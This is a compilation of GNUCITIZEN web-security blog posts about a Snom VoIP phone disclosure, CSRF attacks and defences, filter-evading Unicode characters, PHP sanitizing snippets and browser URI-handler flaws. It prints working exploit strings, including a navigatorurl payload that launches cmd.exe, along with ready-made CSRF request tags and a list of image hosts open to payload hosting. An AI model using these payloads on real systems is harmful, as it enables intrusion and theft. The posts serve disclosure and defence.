Most modern VoIP phones come with a Web interface which you can use for administrative purposes mainly. The user can adjust the device’s settings, like change the display messages, maintain the address books and on some models even make phone calls from the Web interface. Since the device we’ve tested supports that particular functionality (call a number via a simple POST request) I’ve decided to have a look at the markup a little bit closer, not knowing what hornet’s nest I was eventually going to stir up. The device we are talking about is the Snom 32x – a pretty common device that can be found in several medium and large offices.

The Web interface of the Snom 32x VoIP phone suffers from many vulnerabilities that may cause financial and reputation trouble for the organizations that trusts them in their network. The vulnerabilities are based on common attack vectors, such as XSS and CSRF.

It is essential to keep in mind that, in order to attack the Snom 32x Web interface, the attacker requires knowledge of its IP address. This knowledge can be obtained by using a XSS Intranet scanning technique or via a plain guessing/bruteforce method. By looping through several IP addresses with JavaScript, looking for URLs like http://xxx.xxx.xxx.xxx/img/logo2.gif, we can easily locate the Web interface of the device. Of course a quick nmap scan delivers equivalent results with more ease and less time required. It is important to note that some networks use predictable names which also can also be used to pin-point a vulnerable device.

After discovering the device the attacker has several possibilities for evilness. Let’s have a look at some of them:

• call arbitrary people via the Web interface via the means of CSRF.
• make the call history invisible by calling a number like "'); which causes the Flash application displaying the most recent calls to crash.
• steal the phone history from the logs including any other details attached to the calls via XHR.
• poison the address book with a persistent XSS – the name is encoded correctly but not the phone number.
• inject a JavaScript worm to gain total control over the user by changing the visible output by performing XHR-CSRF attack.
• change the settings of registered phones, including the displayed text on the phone’s display.
• Last but not least, monitoring the victim by making a phone call to the attacker’s number, who in tern will accept the call and recording the incoming sound. Note that the phone doesn’t give any noticeable feedback (ring tones, etc) while the victim was kept under surveillance. Keep in mind that the victim pays for the call.

It is also important to note that:

• None of the tested forms use tokens or other methods to make it harder to perform CSRF attacks against the Web interface.
• The phone comes with a default password, which is 0000. You can pick this information from Google.

Let’s have a look at a proper scenario. If the attacker knows the IP of the device’s Web interface he/she can disable and/or hijack the whole phone within a few minutes. By crafting a XSS-CSRF vector he/she can inject a persistent XSS into the address book. When the victim visits the phone book, the XSS worm is silently executed and the attacker gains a total control over the interface and the actions that will be performed in the future. This also circumvents any protection mechanisms like VPN or comparable network layers, etc. And yes, in the worst case scenario the attacker will be able to survey the sound in the room in and cleanup the logs afterwords.

The whole device seemed to be especially designed for these issues to work. It is not like the situation where a small design flaw endangers the entire security model like many other cases. This time almost any available feature was buggy and vulnerable, and it kind of seems like a wonder that those phones are shipped all over the world and nothing major have happened yet. I’ve tried to patch the phone with the latest firmware but that didn’t work – the phone was temporarily disabled after the process and when it began responding again the firmware version was still the same. So, even if there are patches for those devices they sometimes can’t be used at all. It is very probable that other phones from other companies have the same or at least similar issues, so don’t consider this post as a blame on a certain company. We’d rather point out severe issues that kind of compare to Web hacking scene in the nineties and have them fixed urgently – no matter what phone is used or which company have built it.

The proof of concept (POC) code can be found over here (please use it responsibly):

http://www.gnucitizen.org/static/blog/2008/02/snom.htm

… and some supporting screenshots follow here:

Snom has been contacted in several ways but we haven’t got any responded yet. We will keep you posted about any news. Feel free to comment – we are very looking forward discussing those issues more in depth.

Update: 14 Feb 2008

We’ve received a response from Snom. This is what they say.

To prevent this we will take the following measurments:

• We will publish an article on “how to make your snom phone saver” on our website (including a link to it on the start page)
• We will send out a newsletter to all our registred VARS and distributers with this information
• We will work on the FW to improve security (just checked, on FW Ver. 7 the Flash applet is disabled by default)
• We will publish a new email adress, for security matters (mostlikly security@snom.com), which goes to a bunch of people (including me).

We are thankful for letting us know about your future plans.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

What is CSRF

CSRF, in its most basic form, is certainly the most easy to create attack vector paired with almost incalculable impact on the targeted application, it’s users and storage mechanisms. Imagine the following case: A User is logged into GMail and checks his mails. After she stays logged in for a while – that’s a regular behavior – the user opens a new Tab and navigates to another site. This site contains code that fires a regular HTTP Request to the GMail servers – an image tag is enough to do so. Since the user is still logged in, the request is processed with her privileges – maybe changes some settings or deletes some mails, thanks to the fact that HTTP is stateless – that’s it. The attack has been performed successfully and neither the user nor GMail haven’t even noticed.

So the longer the session needs to time out and the more the user surfs around untrusted sites, the higher the risk is to pop onto one with a CSRF attack on it. Any tag which fires a request to an external resource can be used to perform a hidden CSRF attack – including images, link tags, some meta tags, embed and object tags and so on. Same goes for attributes which load background images or similar. You can even check if you site has been validated by someone if you replace the DTD file in the very header of the applications markup with a resource on your servers – that’s CSRF too.

So let’s wrap it up – the following points are the basic things that characterize CSRF:

• As long as you are logged into Application A any other page can fire requests towards it with your privileges.
• The longer the session lasts the higher is the risk.
• It doesn’t matter if the targeted functionality uses GET or POST – using POST just raises the bar a little bit.
• XSS is CSRFs are very best fried – we’re going to talk about that later in this post.
• Social bookmarking is CSRFs’ second best friend – remember hat the attacker needs the user to visit his prepared site?
• Complex forms or transactions with several steps are no protection against CSRF – just fire more than one request.

A real world example

To make you understand the term CSRF even better here’s a real world example. Keep in mind that we cannot uncover the platform’s name and domain. Imagine a very big business platform where you can register and publish your contact details, your skills etc. You can search for colleagues and coworkers and communicate with them via the platform’s messaging system. Since the owner of the platform wanted to gild the traffic, they’ve created the ability to register a pro account with more possibilities for the user. The user can add and edit his account or credit card information via a HTML form. And as a matter of fact this exact form isn’t protected against CSRF – so the following request would actually change your account info. Say goodbye to your pro account and hello to lots of annoying trouble.

https://our.example.com/change_account
?paytype=debit
&paytype_id=1234
&paytype_field_1=123456789 // the account number
&paytype_field_2=12345678 // the bank code
&paytype_field_3=Richie+Rich // the account owner
&paytype_field_4=BankOfHappiness // the bank's name
&op=editpaytype.save
&confirmmode=

As mentioned earlier, it doesn’t matter if this request is fired from an image tag or somewhere else – as long as you are logged in your account information will be changed. Same can be done when trying to invite new users to the platform via the invitation form:

https://our.example.com/invite
?op=send
&register_mode=0
&first_name_1=test
&last_name_1=test
&email_1=someone@example.inv
&subject=Buy%20those%pills!
&salutation=1
&body=Buy%20mortal!
&send=submit
&language=de

<img src="https://our.example.com/change_account?paytype=debit&paytype_id=1234&paytype_field_1=123456789&paytype_field_2=12345678&paytype_field_3=Richie+Rich&paytype_field_4=BankOfHappiness&op=editpaytype.save&confirmmode=" />

<link rel="stylesheet" type="text/css" href="https://our.example.com/invite?op=send&register_mode=0&first_name_1=test&last_name_1=test&email_1=someone@example.inv&subject=Buy%20those%pills!&salutation=1&body=Buy%20mortal!&send=submit&language=de" />

This way CSRF enables the attacker to spam arbitrary users from the account of the currently logged in user. Again annoying consequences for the user himself or the platform owners may follow. The examples show that it is very easy to perform a CSRF attack with very high impact. So now we come to the part of protection against CSRF.

Countermeasures and protection against CSRF

There haven been many articles and discussions around this topic and this one aims at summing them up and finding an almost bullet-proof and easy to implement solution. Basically most times the following measures are mentioned to protect an application against CSRF attacks and decreasing the size of the attack surface.

• Using tokens for actions that store/update/delete/mail information
• Using referrer checks when dealing with actions that store/update/delete/mail information
• Using captchas or other mechanisms to make sure the request can’t be brute-forced

This page provides good examples for the above mentioned mechanisms. In case all of those three measurements were implemented properly the surface for CSRF attacks will become very small but the main problem is that any of them can be circumvented. For example the usage of unguessable tokens makes pretty sure the an attacker can’t assume the correct URL without intense brute-forcing. A link with such a token could look like this. But all protective impact of this measurement is lost immediately when the application is vulnerable to XSS – because that way the token can be easily parsed off the page content and be used in the actual CSRF attack. The only thing an attacker has to do to get the token is to trick the user on the XSSed page and send the resulting response content to an arbitrary page of his. So one can see, XSS and CSRF are very good friends when coming to circumvention of defense mechanisms. Same problem exists for the referrer checks. Several older versions of the flash player were able to spoof the request headers including of course the referrer. So a versatile attacker will have no problems circumventing that mechanism too. And captchas themselves aren’t bulletproof either and additionally ship the problem that the application they’re used on looses parts of its accessibility.

So the only thing a developer can do to make sure there are as few as possible CSRF vulnerabilities in his applications is the clever combination of the above mentioned mechanisms and to avoid XSS like hell. Most modern frameworks ship form tokens but a built in referrer check is pretty rarely to see. But it’s easier to implement such a measurement in new and existing applications than it seems. First all requests which should be protected from CSRF have to be gathered into a list and the URL schemes have to be searched for patterns – most time something like the following:

• http://example.com/edit/...
• http://example.com?action=store
• http://example.com?id=123&delete=1

After having accomplished that. central instance is needed where any request has to go past before being processes by the application – mostly that’s some file like index.php, index.asp or similar. If such a file isn’t available most webservers feature a way to define such a file in their configuration. The most commonly used LAMP combo for example provides the auto_prepend_file option. After the critical requests were gathered successfully it’s required to craft a regular expression, that matches those and is able to separate them from the rest of the requests the application understands. Now any incoming request that matches the pattern can be examined further by the prepended or index file. If a referrer appears that doesn’t match the applications URL the request can be blocked and logged. Same goes for adding URL tokens to an already existing application – the prepended or index file can check for the existence and validity of the incoming token and that way the developer has way less work to do and validate the incoming traffic at a central position of his application. To make sure the generated markup positions the tokens in the critical forms the LAMP developer can use the auto_append_file option and avoid customizing any template including those critical forms and links – same goes for the implementation of captchas if the loss of accessibility is acceptable for the platform’s users. Of course, there’s basic knowledge about regular expressions and some patience needed but the Internet is full of comprehensive tutorials, guides and tools. So we see – defeating CSRF effectively is no black magic – even for existing applications and frameworks.

But also the user can protect themselves against soma variants of CSRF attacks – again with Giorgio Maone’s Firefox extension called NoScript. NoScript detects and oppresses cross-domain form submits. Needless to say that NoScript features a pretty advanced XSS protection too.

Conclusion

This article explained the basics of CSRF attacks and showed how they work and what impact they can have. Also, we’ve learned how to read several techniques to mitigate and avert vulnerabilities for applications and the users themselves. Still, there are many other things to point out and hopefully the article will entail a discussion to cover all aspects which haven’t found their way in. Also we’d be happy to answers your questions – so feel free to contact us or comment on this post.

And by the way – the protection method we discussed above isn’t even pure theory anymore. You can check out the PHP5 library CSRFx – which does the exact thing right here. Your opinion on this project is of course welcome too.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Besides all those benefits, most of those services provide something else too. Normally you see the pasted text embedded inside an HTML page provided by the service. Mmmh, all these buttons! But most times there’s a download button too which points on another short URL which leads you to the pasted text in a plain format, waiting to be included by a script tag or file_get_contents. So again, there’s that single feature that turns the whole service into a mutation of it self. This is definitely not the first nor the last time we have the chance to see something like that. Here are some examples I goggled. It took me about 10 minutes to assemble the list.

• http://nopaste.php-quake.net/down/9010
• http://rafb.net/p/8JzOBa36.txt
• http://nopaste.com/p/aCG0kxeyY/txt
• http://nopaste.ch/8ad6ca7aa5b766f.txt
• http://phpfi.com/274672?download
• http://nopaste.debianforum.de/get/6953
• http://nopaste.simosnap.com/2812?download
• http://www.nopaste.name/save.php?id=88819
• http://nopaste.paefchen.net/334/download
• http://www.nopaste.pl/Save/1dp.txt

Surely the nopaste applications are not the only ones who unwillingly provide good opportunities for anonymous and free payload hosting. Remember pdp’s article on the problems with the Firefox jar: protocol issues? What would you say – what percentage of all those image hosting services out there really check if the image you try to upload is valid? I was pretty sure most of them would. But they don’t.

On 70-80% of the image hosting platforms you can upload whatever you want. No MIME checks, no dimension check, no transformation of the uploaded images, no checks for suspicious patterns in the image source – nothing. Some of them even disclose more security holes while trying to upload simple bin files. On a several occasions, I’ve got prompted by messages that look like this: Warning: Division by zero in ... - your image was uploaded!. Here’s the list of services I’ve tested. Since we have real issues here the URLs are a little bit obfuscated.

jar:http://imagXXXload.biz/files/dadfad6e3ba807aa20712fbe2.png!/test.html
jar:http://img3.freeimXXXhosting.net/uploads/328d2315c3.png!/test.html
jar:http://www.imglXXXtr.com/uploads/7accc832a7.png!/test.html
jar:http://upload.iXXXpot.com/u/07/311/05/test64864.zip.png!/test.html
jar:http://www.direcXXXload.com/showoriginal-32664.jpg!/test.html
jar:http://www.uplXXXhouse.com/fileuploads/712/712277d886fa0881092da4936f5ded10e771cd.png!/test.html
jar:http://www.fotopaXXXd.com/upload/nr/486/test.zip.png!/test.html
jar:http://www.uploXXXimages.net/imagen/18790b0b47.png!/test.html
jar:http://www.imaXXX.info/images/06/1194534977_test.zip.png!/test.html
jar:http://pics.fXXXni.de/save/p_1194532832.png!/test.html
jar:http://img.nXXXnternetstate.com/1194532968.png!/test.html

The conclusion after this short but rather interesting research is that even services which just provide a single and very basic features, have to watch out for security problems. None of the above mentioned services and tools are full blown applications created by years of invested work, but small helpers that just do what they do. Nevertheless they help making the Internet even more insecure – ah the FUD – and give attackers the chance to store their payload anonymously. And any of those platforms could be secured by less than ten lines of code. More thorough validation and a more thoughtful bouquet of features would have de-magnified the attack surface effectively.

Developers have to understand that even small features can have massive impact when used in the wrong context – please think before you implement.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The snippet – mysterious characters from the Unicode world

Most of our readers know to one degree or another about character sets, UTF and Unicode, but what some of you don’t know is the fact that there are several characters that can really harm you online estate and slip through most, if not all, filters. Those are to be categorized into two groups – the numerous variation of Unicode whitespace characters and the characters that change the direction of the displayed text (LTR, RTL). While doing some JavaScript research I’ve created a loop to check what characters can be put in between arbitrary method calls, without stopping the method from executing. Just like that:

win[unicode]dow.ale[unicode]rt[unicode](1);

I used several loops to determine the existence and the exact place in the Unicode table of those characters – tested in Firebug:

var i =0;
var j = String.fromCharCode
while(i < 65536) {try{eval('con'+j(i)+'sole.log("&#'+i+' '+j(i)+'")');} catch(e) {}i++}

The result was surprising – as you can see yourself, there is a whole bunch of characters that can be placed right between method and property names. So, I tried those characters with the PHPIDS Demo and boom – the filter rules were evaded with ease. So I began crafting a solution for this problem and I came up with the following:

$value = rawurldecode(preg_replace('/(?:%E(?:2|3)%8(?:0|1)%(?:A|8|9)\w|%EF%BB%BF)/i', ' ', rawurlencode($value)));

You can use this code in your PHP application to make sure any of those pretty dangerous characters will be transformed into a regular space. Feel free to try on your application what characters like &#8238 and others can do to your site – this is the kind of defense measurement you don’t want to miss.

‮Or just take a look at this line of text ;)

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The snippet – sanitize your input recursively

This time we are going to show a PHP snippet which you can use to filter your input recursively – working for PHP4 and PHP5 and being pretty copy&paste ready. Furthermore, the snippet shows how you can defeat XSS on your application without being too aggressive and not forbidding the user to use certain characters. Several large applications use this method or similar ones – although, of course, it is not suitable for all platform out there.

You can use this snippet to secure existing applications by embedding it via auto_prepend_file or using it at a centralized position in your application’s index.php. It doesn’t rely on any external software or extensions so it should be running fine on most PHP environments without any problems. And of course don’t use it sightlessly – but that goes for all snippets of this series.

<?php
    /**
     * Initial filter method
     *
     * @param array $to_filter
     * @return array
     */
    function filter($to_filter) {
        if (!empty($to_filter)) {
        	foreach ($to_filter as $key => $value) {
            	$filtered[$key] = iterate($key, $value);
            }
        }
        return $filtered;
    }

    /**
     * Iterates recursively of the array to 
     * be filtered
     *
     * @param string $key
     * @param string $value
     * @return mixed
     */
    function iterate($key, $value) {
    	if (!is_array($value)) {
            if (is_string($value)) {
                $filtered[$key] = sanitize($value);    
            }
        } else {
            foreach ($value as $subKey => $subValue) {
                $filtered[$key][$subKey] = sanitize($subValue);
            }
        }
        return $filtered[$key];
    }
    
    /**
     * The sanitization method
     *
     * @param string $string
     * @return string
     */
    function sanitize($string) {
    	
    	$search = array('"', "'");
    	$replace = array('”', '’'); // ” and ’ are used here
    	
    	/**
    	 * Remind that the replacement is just one way of many.
    	 * You can also use html_special_chars() or htmlentities() - but 
    	 * don't forget the third parameter :)
    	 */
    	return strip_tags(str_replace($search, $replace, $string)
    }

    /**
     * overwrite the original request array with the filtered one
     */
    $_REQUEST = filter($_REQUEST);
?>

We hope that you enjoy the trick – please tell us what you think. Till the next time.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The snippet – reset window.name

The window.name property is often used for complex XSS attacks because you can fill it with payload on one site and read the contents on another site. Sounds weird? It is! Try setting this property on an arbitrary site with Firebug or something similar, navigate to another site and run alert(name) – you should see the exact text you entered. Since you can also evaluate the contents of name an attacker can load kilobytes of payload into this property, redirect and execute it with eval(name) on the victims site – shortest XSS vector ever.

The more sophisticated the attack method is, the easier it it to protect from. In this case, we just need to overwrite window.name in the header of you applications markup like this – don’t forget to encapsulate the code in script tags:

window.name = false;

I hope that you enjoy the trick. Till the next time.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

The first snippet – overwrite alert() wit a logger

The JavaScript method alert() is mostly used for debugging purposes and very rarely found in live applications. Attackers though very often use this method for initial probing for XSS vulnerabilities on websites and web applications. Most PoCs found in forums and newsgroups make use of this method and meanwhile you can even find tons of links including alert()-based PoCs via Google.

So combining those facts puts up the question why not overwrite the alert() method with a method that logs the request – which probably was fired by an attacker. First, we know that the attacker managed to inject JavaScript on our page because the modified alert() method has been executed. And second you logger script will tell you all you need to know about the malicious request. So here we go – place this code in between script tags inside your application’s header or add it inside your application’s JavaScript files:

var old_alert = alert;
alert = function(a) {
    var img = new Image();
    img.src = 'http://the/uri/to/your/logger/file';
    img.style.height = 0;
    img.style.width = 0;
    document.body.appendChild(img);
    old_alert(a);    
    return false;
}

Till the next time.

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Recently several interesting tools were released to cover one special aspect of fuzz testing in web application security – JavaScript fuzzing. Mozilla has released their fuzzer called JSFunFuzz and Gareth Heyes has released a tool called JavaScript Fuzzer 2.1. Both of them have more or less similar purpose although, they use different methods for reaching their targets.

Chaotic fuzzing

The Mozilla fuzzer or JSFunFuzz has been around for some time now. The tool was first announced in a ticket published in late August 2006. It’s purpose is to use a large base of JavaScript language constructs concatenated together, no matter if the represent valid code or not. Today, this project is probably the main way for testing how the Rhino and SpiderMonkey JavaScript engines react on weird or even faulty code. The obtained results were used to optimize both script engines stability. JSFunFuzz even helped to identify several problems in the Opera JS engine. A handful of them were security relevant and the Opera team already have announced that fixes should be expected soon.

The files attached to the JSFunFuzz tickets that announced the project, also provides implementation for in-browser fuzzing although it seams to be neither funny nor very useful. Most of the time, the CPU load is around 100% and the user gets some low frequently updated text output which spits out info about the concatenated strings and the debug output they provoked. Nevertheless some people already implemented solutions similar to this one. Do you remember that CPU load will probably rise sky high if you click this link?

The question is how to use the JSFunFuzz fuzzer at home. Quite easy, I must say. Just grab a copy of the Rhino engine from Mozilla. Install a JRE if you do not have one yet, and use your console to instantiate Rhino. Something like the following should do the job:

java -jar /path/to/js.jar

After that a JavaScript console should appear replacing the usual command line. If you attach jsparsefuzz.js to the above command you should immediately see dozens to hundreds of JavaScript snippets racing upwards the command line. If you want to make real good usage of the tool you may need have to pipe the output through some regular expressions, save the results in a file and give the script some time to finish. After a while you should have a very large collections of code fragments you can test in your application filters or you may want to use them for other purposes.

java -jar /path/to/js.jar /path/to/jsparsefuzz.js 

Structured fuzzing

Gareth Heyes fuzzer has taken a slightly different path. He provides a handy in-browser fuzzer and enables the user to predefine many parameters of the fuzzing process before usage. You can predefine tags and attributes to fuzz as well as quote types, text case and many other useful things. What makes this tool really useful is the obvious but worth to mention fact that you can use it in any browser. This enables you to hunt for special markup related browser peculiarities when coming to interpret JavaScript via event handlers, attributes, etc. The tool has already found some pretty weird combinations of attributes and special chars. According to emails we exchanged with Gareth recently, the tool will soon feature a database which provides already found vectors. That will make the tool more powerful and useful and will exponentially grow if more people start using it. Also there are plans to publish the fuzzer as an open source project – combined with a public database like DabbleDB which we already use for the almighty xssDB. This, we believe may become a very valuable source for security testers.

Conclusion

Both fuzzers are potentially quite useful and will definitely increase the security of future web applications and browser technologies. JavaScript fuzzers may also help with preventing certain XSS vectors. They make a huge change when securing a particular project or implementation. Furthermore, By reading posts like SirDarckCat’s astonishing research reports, it makes clear that many of use haven’t had the chance to realize what JavaScript is capable of – what do you think?

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Once upon a time…

Browsers have URI handling features for quite some time now. They are pretty neat and enable the developer to pass application commands through the browsers sandbox to tools and software installed on the users’ computer. It creates a bridge between the Internet and our local application repository and enables handy things like skypeing a person directly from a website, sending torrent links directly to the registered application and much more. Among the URI handlers you can find real oldies like gopher, telnet and news as well as the cool things like magnet, joost and itpc. Internet Explorer 7 utilizes the res handler to locate resource – for example the blue info icon on the 404 pages. Last but not least, we all know the data URI which allows us to use an arbitrary data stream – in base64 or an any variant of UTF – parametrize it with a MIME type and pump it directly to the browser via the address bar.

Then people found out how to misuse those URI handlers – crafted exploits and phishing kits – there was a boost of small file scanners and cleverly crafted buffer overflows popping out everywhere. But the last couple of weeks were quite extraordinary. Security researches, including Billy Rios, Nate McFeters and Thor Larholm, found out various ways to exploit the URI handlers, unleashing the possibilities of danger. They discovered that many browser implementations don’t properly sanitize the data passed via the URIs. With quotes and null bytes it’s possible to circumvent the browsers’ ability to handle the incoming data and slip out of the sandbox. The results? – exploits which actually enable an attacker to access the local file system of the victim.

It’s just an exploit, mom

The vectors they figured out are pretty manifold – and when watching the list of supported URI handlers for Firefox alone, one might understand pretty quickly that there are almost no limits when exploiting these issues. Bellow you can find a few examples of recently disclosed vulnerabilities which are all able to trigger code execution on the victims system, for as long as the victim is using a win32 based operating system:

firefoxurl:test|"%20-new-window%20javascript:alert('Cross%2520Browser%2520Scripting!');"

snews:%00%00../../../../../../../../windows/regedit.exe " - "../random/file/to/create/some/fun" %00.bat

res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210

navigatorurl:test"%20-chrome%20"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)

As you can see it’s not only possible to enumerate the clients file system or to just execute some harmless programs on the victims’ machine – it’s also possible to parametrize the calls. This is dangerous. Moreover, the malicious event will occur remotely as soon as the user clicks a malicious link (firing the link via JavaScript is also possible). But wait a second. Let’s make some connections. There was this XSS thing – injecting malicious content into other peoples’ websites. The XSS thing where lot’s of people said that it’s not really an issue. The thing that even people like David Heinemeier Hansson ask me why there’s a problem if one is able to create an alert in an important part of one of his applications. Problem? I think so!

Q&A from the researchers

Here’s some Q&A from some of the researchers of the URI exploit issues I recently had a phone conference with – thanks for the time and the quality talk, Billy and Nate.

Please don’t make it happen!

Tests have shown that these exploits work perfectly well in combination with iframes and javascript redirections – it would have been a miracle if not.

We’re talking about remoting the clients, shutting down computers, networks, formatting disks – yes, formatting the disk and so on. What about XSS worms? With the available possibilities it is possible to create XSS worms that really wreck up the clients’ system – after stealing cookies and infecting every account. And do not forget that there are a bunch of ways to obfuscate the payload to make it even harder for IDS systems and filters to detect and sanitize those attacks.

So – how can we protect ourselves?

Pretty difficult to find an answer on this question without leaving someone out. Users have only a few options to chose from. First of all, it is recommended that you always use the most current version of your favorite web browser. Do not ignore patch updates – never – even if it hurts to use automatic updates. Furthermore Giorgio Maone is optimizing his Firefox extension NoScript to detect and block those kinds of attack – this tool has been and is definitely worth to be tried out. I can only repeat what thousands of other said before me – don’t follow untrusted links, don’t visit untrusted websites, don’t open un-demanded attachments and you better think twice before clicking on a dialog to move it away, especially when it’s your browser telling you to let it update itself.

But what’s even more important – what can developers do to protect the users on their websites? I must say that you shouldn’t allow XSS under any circumstance. Filter your input, filter your output and don’t ever allow the user to break the markup. Second – be damn careful when it comes to allowing the user to post links. Make sure that the URLs can only be entered in correct format. At least make sure the URL is prefixed with http(s):// – this is weak protection, I know, but it is better then no protection at all. Alternatively you can follow any user supplied link including redirects and check for availability and the sources after the last redirect. Not a perfect protection – I know – but a little bit better. Another tear of security can be created with using the PHPIDS – I don’t want to self promote but the system is capable of detecting the exploits with pretty high impact and our team is closely working together with Billy and Nate so we are able to keep the detection rules pretty up to date to maximize the protection.

Conclusion

Without wanting to peddle FUD I hope that you understand that these issues are really dangerous. Most of the stuff, except the excellent research of Billy, Nate and Thor, is not really new. It’s important to know what is possible and it is important to see that attack techniques like CSRF and XSS gain tremendous potential damage when mixed with these URI exploits. What do you think?

Resources

• http://larholm.com/2007/07/10/internet-explorer-0day-exploit/
• https://bugzilla.mozilla.org/attachment.cgi?id=273560&action=edit
• http://www.xs-sniper.com/nmcfeters/URI_Use_and_Abuse.pdf
• https://bugzilla.mozilla.org/show_bug.cgi?id=389580
• http://ha.ckers.org/blog/20070721/res-protocol-local-file-enumeration/
• http://sla.ckers.org/forum/list.php?3
• http://noscript.net/

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Q: How did you discover the potential of URI handler research?

Billy was eating a peanut butter and jelly sandwich and a big glob of peanut butter fell on the keyboard and typed res:// and pushed enter into his IE window. No, seriously, Rios discovered some interesting stuff with the res:// URI, shortly there after I discovered some articles around the ms-its:// URI and figured this may be an avenue of attack. I did some research on IANA registered URI’s, then found a way to query the Windows registry to determine all registered URI’s and the commands that are run when they are accessed by a browser (this was later turned into the DUH tool by Erik Cabetas. Shortly there after, I discovered the Trillian AIM stack overflow flaw and Rios discovered the Integer overflow in res:// (MS07-035) and we knew we were on to something hot. Around this time Rios and Thor discovered the FirefoxURL command injection and Rios and I got busy putting together a string of command injection attacks. We found one in Trillian exploitable thru the IE browser, the navigatorurl flaw exploitable thru IE, and the list goes on and on (see below).

Q: what testing methods did you use?

The primary point was the research around what URI’s existed… we had some other methods, using regmon and filemon that we’ll hopefully detail in full at BH Japan or another conference this year. Additionally, Rios’s use of filemon to see what files were getting accessed was key to the successful exploitations around this issue.

Q: where do you see the greatest danger in the discovered issues?

The attack surface really. I mean, that’s what XSS is all about… a persistent one, you post it in one place the attack hits everyone, but now, instead of stealing someone’s cookies we’re running arbitrary coammnds on their machine. Additionally, we keep saying this is just the tip of the iceberg. Right now everyone is focued on preventing these command injections, but the real flaws will be exposed in the functionality that the applications tied to these URIs expose.

Q: what’s you disclosure ethics regarding issues with impact that high?

Constantly changing… we’ve had some difficulty with this. We’ve encountered several headaches when attempting to disclose directly to the Vendors including the recent PR war… additionally, we’ve encountered headaches when trying to disclose to vulnerability puchase programs…. which I won’t get into at this time. Finally, when Rios released the MS07-035 we heard a lot of complaints from the community about us sitting on the vulnerability and not reporting it to people since it had been around so long. I think it’s a lose, lose, lose situation at times.

Full disclosure allows for the fastest reponse time, keeping the exploitation window small. It allows corporations to take measures to protect themselves before the patch is released, especially when released in conjunction with temporary fixes such as noscript sigs, php ids sigs, and user controllable fixes (like modifying the registry in our case).

Q: what’s next on the road map?

Attacking other browsers and other platforms… there’s also a few methods of obfuscating these attacks that may be useful, and of course we have the aforementioned attacks against the functionality exposed by these URIs. Rios’s presentation on anti-DNS pinning within the Java Virtual Machine (which will hopefully take place at BH Japan,etc.) scares me terribly. This dangling pointers issue at BH this year is causing a big stir.

Here is our discovered vulnerabilities in several URI’s. The first portion is really the main one that is due to browsers not properly sanitizing data, the others result from the backing applications not properly sanitizing data or on the backing applications functionality.

Command Injection Flaws due to browsers not properly sanitizing data:

• mailto, news, snews, nntp, telnet – http://xs-sniper.com/blog/remote-command-exec-firefox-2005/
• aim – http://secunia.com/advisories/26086/
• firefoxurl – http://secunia.com/advisories/25984/
• navigatorurl – http://secunia.com/advisories/26082/

Overflow Conditions due to applications not properly sanitizing data:

• aim – http://secunia.com/advisories/26086/
• res – http://www.microsoft.com/technet/security/Bulletin/MS07-035.mspx

Local Program Enumeration in IE7:

• res – http://xs-sniper.com/blog/2007/07/20/more-uri-stuff-ies-resouce-uri/

Local Program Enumeration in Firefox:

• resource – http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/#comment-35888

Functionality Abuse on Firefox:

• data – http://www.xs-sniper.com/nmcfeters/Data-Phishing.html

---
recent posts from the gnucitizen network:

Cold, Coffe, Code
The Upcoming Websecurify Mobile
Websecurify 1.0.2 for Windows and Mac has Arrived
A Collage of Websecurify's Evolution
Websecurify's Debute on ITunes and Mac App Stores

Basic filtering

Many developers use standard filter functions to sanitize their output. Mostly a good idea, but the developer has to know what his filters and the attacker is capable of. Some say that the developer is to blame for the bugs, because he/she doesn’t implement properly the security examples as they come from the books. Developers usually does not have enough time and knowledge for cutting edge security research. Mostly of the time they need to chose between stripping the tags, converting HTML and special characters to entities, urlencoding the input, using approaches like escapeshellcmd() or even combining those filtering methods, in order to secure the applications they are working on. Usually those methods aren’t used and combined with exact knowledge and so they tear open security holes or even cripple the user experience in some situations. Did you know that PHP’s escapeshellcmd() leaves the characters .-=a-Z0-9, space and / untouched? This function is recommended by several books as a good filter alternative.

Get it running

